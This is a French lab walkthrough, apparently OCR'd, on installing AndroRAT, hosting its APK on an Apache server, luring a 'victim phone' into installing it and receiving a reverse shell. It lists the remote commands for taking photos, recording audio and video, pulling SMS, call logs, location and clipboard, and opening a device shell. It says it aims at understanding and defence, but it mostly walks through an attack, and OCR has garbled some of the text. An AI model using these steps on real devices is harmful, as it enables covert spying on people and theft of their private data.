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Introduction :

AndroRAT est une application de piratage Android sortie en 2012. Il s'agit d'un outil d'accés a
distance qui permet d'accéder a distance a un systeme Android. Nous allons I'installer et I’exploiter
pas a pas pour comprendre son fonctionnement et s’en defendre.

Schema:

Borne Wifi:
Nom Wifi: DLINK (pas mdp)

Serveur Kali Linux:
-Adresse IP Stat
-Outil Andro Raft

-Serveur Web (Apache):
Fichier.APK

Client Andoid:
Wifi

Installation du logiciel AndroRAT :

Préalablement faire un update et upgrade, ensuite taper la commande :

o~

clone httpE:ffgithub.Eﬂﬂf{&Tﬂ&QEThfﬁﬂdﬂﬁh_.gitl

Pour installer AndoRAT via github, puis rentrer dans le fichier AndroRAT avec cd AndroRAT.
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Réseau

Transferer le fichier Andro RAT de root a var/www/html/
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Not Found

M Non sécurisé

192.168.0.203/test.apk

The requested URL was not found on this server.

Apache/2.4.32 (Debian) Server at 192.168.0.203 Port 80

Exploitation d’AndroRAT :
Lorsqu’on rentre notre ip dans la barre d’adresse /test.apk ¢a nous propose de telecharger le
fichier.apk

~/AndroRAT
androRAT. py 5}

[INFO] Waiting for Connections [J

Ensuite on peut lancer AndroRAT et attendre la connexion.

A coté sur le téléphone victime, on peut telecharger I'application via I'addresse
192.168.0.203/test.apk

Ensuite on arrive sur cette interface :
from

Got connection

Hello there, welcome to reverse shell of Mi 9T

On peut ensuite rentrer toutes ces commandes :

Commandes pouvant s'exécuter sur l'interpréteur

deviceInfo

camList

takepic [cameralD]
startVideo [cameralD]

--> returns basic info of the device
--> returns cameralD

--»> Takes picture from camera

--> starts recording the video

stopvideo --> stop recording the video and return the video file
startAudio --» starts recording the audio

stopAudio --> stop recording the audic

getsMs [inbox|sent] --» returns inbox sms or sent sms in a file
getCalllLogs --» returns call logs in a file

shell --> starts a sh shell of the device

vibrate [number_of_times] --»> vibrate the device number of time

getlocation --» return the current location of the device

getIP --> returns the ip of the device

getsimDetails --» returns the details of all sim of the device
clear --> clears the screen

getClipData --» return the current saved text from the clipboard
getMACAddress --» returns the mac address of the device

exit --» exit the interpreter



